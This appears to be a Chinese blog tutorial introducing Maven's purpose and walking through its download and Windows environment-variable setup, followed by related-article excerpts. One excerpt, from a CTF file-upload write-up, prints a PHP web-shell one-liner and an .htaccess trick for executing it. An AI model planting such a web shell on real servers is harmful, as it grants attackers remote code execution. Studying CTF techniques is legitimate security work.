当前位置: 首页 > news >正文

maven介绍与安装

一. maven概述

1. 关于项目依赖的jar包管理

问题描述
直接在每个项目的lib文件夹中复制jar包会导致多个问题,包括jar包的重复存放、版本冲突以及手动管理带来的不便和错误。

问题分析

  • 重复存放:每个项目都保存一份相同的jar包,不仅占用额外空间,也增加了维护的复杂度。
  • 版本冲突:当不同项目依赖相同jar包但版本不同时,可能会引发冲突,尤其是在共享组件或接口时。
  • 手动管理:手动复制jar包容易出错,如遗漏、版本错误等,增加了开发和部署的复杂度。

解决方案

  • 使用Maven(或Gradle等构建工具)来管理依赖。Maven可以通过pom.xml文件定义项目依赖,自动从中央仓库或私有仓库下载所需jar包,解决了重复存放和手动管理的问题。同时,Maven支持版本管理和依赖传递,有效避免了版本冲突。
  • 创建一个内部仓库(如Nexus或Artifactory),用于存放私有或第三方无法直接访问的jar包,便于团队内部共享和版本控制。

2. 关于数据库通用类的维护和分发

问题描述
通过邮件手动分发修正后的jar包给各个项目组,不仅效率低下,还容易出错,如忘记通知某些项目组、版本更新不同步等。

问题分析

  • 效率低下:每次修改后都需要手动分发,增加了维护成本。
  • 版本不同步:不同项目组可能使用不同版本的jar包,导致功能不一致或bug复现。
  • 容易遗漏:在多个项目组之间分发时,可能会遗漏某些组,导致问题持续存在。

解决方案

  • 使用Maven管理通用类库。将通用类库发布为一个Maven项目,并上传到内部仓库。各个项目组只需在pom.xml中添加依赖,Maven就会自动从仓库中获取最新版本的jar包。
  • 当通用类库有更新时,只需在内部仓库中更新最新版本,所有依赖该库的项目在下次构建时都会自动获取最新版本,无需手动干预。
  • 利用Maven的SNAPSHOT版本特性,可以在开发过程中频繁更新库文件,供其他项目组测试和使用最新功能或修复。

重写优化后的内容

  1. 依赖管理:采用Maven等构建工具来管理项目的jar包依赖,通过pom.xml文件定义项目所需的所有jar包,Maven会自动从配置的仓库中下载并管理这些依赖,避免了手动复制和版本冲突的问题。
  2. 库文件分发:将数据库通用类库发布为一个Maven项目,并上传至内部仓库。其他项目组通过Maven依赖管理,自动获取和使用最新版本的库文件。这样,当库文件有更新时,只需在内部仓库中更新版本,即可实现所有项目的同步更新,大大提高了开发效率和维护的便捷性。

3 Maven详解

3.1 Maven定义

Maven是一个强大的项目管理与构建自动化工具。它基于项目对象模型(Project Object Model, POM),通过定义一套标准化的项目结构、构建生命周期以及依赖管理系统,极大地简化了项目的构建、依赖管理和发布过程。Maven不仅限于Java项目,但它对Java生态系统的支持尤为出色。通过使用Maven,开发者可以专注于业务逻辑的实现,而无需过多关注项目的构建和依赖管理细节。

3.2 Maven的作用
  1. 项目构建管理
    Maven为项目定义了一套标准的构建生命周期,包括编译、测试、打包、部署、运行等阶段。这些阶段为项目从源代码到可运行产品的转换过程提供了清晰的框架。开发人员和测试人员可以遵循这一标准流程,确保项目构建的一致性和可重复性。
  2. 依赖管理
    Maven的依赖管理系统能够自动解析项目所需的外部库(jar包),并从配置的仓库(如Maven中央仓库、私有仓库等)中下载这些依赖。它还能处理依赖之间的传递性,即如果一个库依赖于另一个库,Maven会自动下载并管理这些传递性依赖,避免了版本冲突和手动管理依赖的繁琐。
  3. 插件管理
    Maven通过插件机制扩展其功能。插件是Maven的核心,它们定义了Maven生命周期中的具体任务。Maven提供了大量的内置插件,用于执行编译、测试、打包等常见任务。此外,开发者还可以根据需要自定义插件或使用第三方插件,以满足特定的项目需求。Maven的插件管理机制使得这些插件的集成和使用变得非常简单和高效。

maven的下载与安装

1. 下载

官方网站:http://maven.apache.org/
下载页面:http://maven.apache.org/download.cgi

直接下载 , 下载过后解压压缩包
在这里插入图片描述

2.配置环境变量

打开系统环境变量
在这里插入图片描述
点击新建系统变量
在这里插入图片描述
设置变量名为MAVEN_HOME
变量值为maven下载位置
在这里插入图片描述
找到path , 新建%MAVEN_HOME%\bin

在这里插入图片描述
点击确定即可

相关文章:

maven介绍与安装

一. maven概述 1. 关于项目依赖的jar包管理 问题描述: 直接在每个项目的lib文件夹中复制jar包会导致多个问题,包括jar包的重复存放、版本冲突以及手动管理带来的不便和错误。 问题分析: 重复存放:每个项目都保存一份相同的jar…...

瑞友科技项目经理认证负责人杨文娟受邀为第四届中国项目经理大会演讲嘉宾︱PMO评论

全国项目经理专业人士年度盛会 北京瑞友科技股份有限公司项目经理认证负责人杨文娟女士受邀为PMO评论主办的全国项目经理专业人士年度盛会——2024第四届中国项目经理大会演讲嘉宾,演讲议题为“瑞友科技项目经理人才培养体系落地实践”。大会将于10月26-27日在北京举…...

Ubuntu基础使用

Ubuntu是一种流行的Linux操作系统。它提供了一个友好的图形界面和许多强大的功能,适用于个人电脑和服务器。一般来说使用Ubuntu都是在虚拟机上运行的。 一、虚拟机的安装 VMware是一家专门提供虚拟化解决方案的公司,而VMware Workstation是该公司开发的…...

知识图谱结构的提示

文章介绍了一种名为“知识图谱结构作为提示”(KG Structure as Prompt)的新方法,该方法旨在增强小型语言模型(SLMs)在知识驱动的因果发现任务中的能力。通过将知识图谱中的结构信息融入到基于提示的学习中,…...

(计算机网络)网络层

目录 一.网络层提供哪种服务 二.两种服务的比较 三.ip协议 四.ip地址 五.ip地址的分类 六.子网掩码 七.路由器介绍 一.网络层提供哪种服务 1.ip地址--唯一的标识互联网上的某一台主机 2. 虚电路:虚拟的电路 二.两种服务的比较 ip数据报,不需要建…...

[upload]-[GXYCTF2019]BabyUpload1-笔记

尝试上传.htaccess和图片和一句话木马提示 php文件提示 响应头可以看到 构造一句话图片木马如下&#xff1a; <script languagephp>eval($_POST[cmd]);</script> 上传成功 必须增加文件夹下jpg后缀解析php .htaccess如下 <FilesMatch "jpg">Set…...

2023卫星视频综述论文Recent Advances in Intelligent Processing of Satellite Video

2023卫星视频综述论文Recent Advances in Intelligent Processing of Satellite Video 1.摘要2.引言3. 文章的定量分析4 难点与挑战5 方法论系统A. 卫星视频观察的特点B. 卫星视频目标跟踪与运动估计C. 卫星视频目标检测D. 卫星视频超分辨率 (VSR)E. 卫星视频目标分割&#xff…...

Mysql的Binlog的数据样例

Binlog&#xff08;Binary Log&#xff09;是 MySQL 中的二进制日志&#xff0c;记录了所有更改数据库的操作&#xff0c;包括数据的插入、更新和删除&#xff0c;它是主从复制、数据恢复和审计的重要来源。 以下是一些常见的 Binlog 数据样本和它们的结构&#xff1a; 1. 基…...

基于VS2022+Qt5+C++的串口助手开发

目录 一、前言 二、环境准备 三、创建QT串口项目 ​编辑 四、串口项目实现 1.ui界面设计 2.添加QT串口模块 3.功能实现 ①串口扫描 ②波特率、停止位等设置 ③接收数据 ④发送数据 五、最终效果 六、总结 一、前言 如果有人之前看过我文章的话应该知道&#xf…...

Mysql之视图

视图 创建语法&#xff1a;create [or replace] view 视图名称 as select * from where [with check option] 查询&#xff1a;show create view 视图名称 查看视图数据&#xff1a;select * from 视图名称 修改&#xff1a; 1&#xff0c;可以使用创建的语法更新&#xf…...

【开端】Java 分页工具类运用

一、绪论 Java系统中&#xff0c;分页查询的场景随处可见&#xff0c;本节介com.baomidou.mybatisplus.core.metadata.IPage;来分页的工具类 二、分页工具类 public class PageUtils implements Serializable { private static final long serialVersionUID 1L; /**…...

leetcode每日一题48

143.环形链表ii 快慢指针 至于入环点的计算 设链表中环外部分的长度为 a。slow 指针进入环后&#xff0c;又走了 b 的距离与 fast 相遇。此时&#xff0c;fast 指针已经走完了环的 n 圈&#xff0c;因此它走过的总距离为 an(bc)ba(n1)bnc。 任意时刻&#xff0c;fast 指针走过…...

源码工具文档手册

手册文档工具 TinaSDK开发文档&#xff1a;https://tina.100ask.net/ 开发板使用文档&#xff1a;https://allwinner-docs.100ask.net/ 教程示例 一板懂百板通&#xff1a;https://www.bilibili.com/video/BV1Nx4y1w7AF/?spm_id_from333.999.0.0 T113 LVGLUI开发&#xff1…...

hive之greatest和least函数

1、greatest函数&#xff1a; greatest(col_a, col_b, ..., col_n)比较n个column的大小&#xff0c;过滤掉null或对null值进行处理&#xff0c;当某个column中是string&#xff0c;而其他是int/double/float等时&#xff0c;返回null&#xff1b; 举例&#xff1a; select g…...

C:数组传参的本质

1、一维数组传参的本质 数组传参是指在函数调用时将数组作为参数传递给函数。 int main() {int arr[10] { 1,2,3,4,5,6,7,8,9,10 };test(arr);return 0;}数组传参只需要写数组名就可以了。注意&#xff1a;数组名是arr&#xff0c;而不是arr[10] 数组传参形参该怎么写呢&am…...

excel 2019版本的index match搜索功能

{TEXTJOIN("", TRUE, IF((sheet2!A:A"文字")*(sheet2!C:CC5), sheet2!G:G, ""))} excel单元格输入公式后&#xff1a; TEXTJOIN("", TRUE, IF((sheet2!A:A"文字")*(sheet2!C:CC5), sheet2!G:G, "")) 按CtrlShi…...

【问题解决】apache.poi 3.1.4版本升级到 5.2.3,导出文件报错版本无法解析

【问题解决】apache.poi 3.1.4版本升级到 5.2.3&#xff0c;导出文件报错无法解析 3.1.4版本代码&#xff1a; /*** 创建workbook* param inp* return* throws Exception*/public Workbook createworkbook(InputStream inp) throws Exception {if (!inp.markSupported()) {inp…...

(亲测有效)SpringBoot项目集成腾讯云COS对象存储(2)

接上文&#xff08;亲测有效&#xff09;SpringBoot项目集成腾讯云COS对象存储&#xff08;1&#xff09;-CSDN博客 目录 3、通用能力类 文件下载 测试 3、通用能力类 文件下载 官方文档介绍了2种文件下载方式。一种是直接下载 COS 的文件到后端服务器&#xff08;适合服务…...

界面优化 - QSS

目录 1、背景介绍 2、基本语法 3、QSS 设置方式 3.1 指定控件样式设置 代码示例: 子元素受到影响 3.2 全局样式设置 代码示例: 使用全局样式 代码示例: 样式的层叠特性 代码示例: 样式的优先级 3.3 从文件加载样式表 代码示例: 从文件加载全局样式 3.4 使用 Qt Desi…...

实现基于TCP协议的服务器与客户机间简单通信

服务器端程序 #include <myhead.h> #define SER_PORT 6666 //服务器端口号 #define SER_IP "192.168.2.53" //服务器ip地址 int main(int argc, char const *argv[]) { /*创建套接字 int socket(int domain, int type, int protocol);*/ …...

conda相比python好处

Conda 作为 Python 的环境和包管理工具&#xff0c;相比原生 Python 生态&#xff08;如 pip 虚拟环境&#xff09;有许多独特优势&#xff0c;尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处&#xff1a; 一、一站式环境管理&#xff1a…...

进程地址空间(比特课总结)

一、进程地址空间 1. 环境变量 1 &#xff09;⽤户级环境变量与系统级环境变量 全局属性&#xff1a;环境变量具有全局属性&#xff0c;会被⼦进程继承。例如当bash启动⼦进程时&#xff0c;环 境变量会⾃动传递给⼦进程。 本地变量限制&#xff1a;本地变量只在当前进程(ba…...

家政维修平台实战20:权限设计

目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系&#xff0c;主要是分成几个表&#xff0c;用户表我们是记录用户的基础信息&#xff0c;包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题&#xff0c;不同的角色&#xf…...

OPENCV形态学基础之二腐蚀

一.腐蚀的原理 (图1) 数学表达式&#xff1a;dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一&#xff0c;腐蚀跟膨胀属于反向操作&#xff0c;膨胀是把图像图像变大&#xff0c;而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...

CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)

漏洞概览 漏洞名称&#xff1a;Apache Flink REST API 任意文件读取漏洞CVE编号&#xff1a;CVE-2020-17519CVSS评分&#xff1a;7.5影响版本&#xff1a;Apache Flink 1.11.0、1.11.1、1.11.2修复版本&#xff1a;≥ 1.11.3 或 ≥ 1.12.0漏洞类型&#xff1a;路径遍历&#x…...

MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)

macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 &#x1f37a; 最新版brew安装慢到怀疑人生&#xff1f;别怕&#xff0c;教你轻松起飞&#xff01; 最近Homebrew更新至最新版&#xff0c;每次执行 brew 命令时都会自动从官方地址 https://formulae.…...

es6+和css3新增的特性有哪些

一&#xff1a;ECMAScript 新特性&#xff08;ES6&#xff09; ES6 (2015) - 革命性更新 1&#xff0c;记住的方法&#xff0c;从一个方法里面用到了哪些技术 1&#xff0c;let /const块级作用域声明2&#xff0c;**默认参数**&#xff1a;函数参数可以设置默认值。3&#x…...

Python的__call__ 方法

在 Python 中&#xff0c;__call__ 是一个特殊的魔术方法&#xff08;magic method&#xff09;&#xff0c;它允许一个类的实例像函数一样被调用。当你在一个对象后面加上 () 并执行时&#xff08;例如 obj()&#xff09;&#xff0c;Python 会自动调用该对象的 __call__ 方法…...

【Java多线程从青铜到王者】单例设计模式(八)

wait和sleep的区别 我们的wait也是提供了一个还有超时时间的版本&#xff0c;sleep也是可以指定时间的&#xff0c;也就是说时间一到就会解除阻塞&#xff0c;继续执行 wait和sleep都能被提前唤醒(虽然时间还没有到也可以提前唤醒)&#xff0c;wait能被notify提前唤醒&#xf…...

python基础语法Ⅰ

python基础语法Ⅰ 常量和表达式变量是什么变量的语法1.定义变量使用变量 变量的类型1.整数2.浮点数(小数)3.字符串4.布尔5.其他 动态类型特征注释注释是什么注释的语法1.行注释2.文档字符串 注释的规范 常量和表达式 我们可以把python当作一个计算器&#xff0c;来进行一些算术…...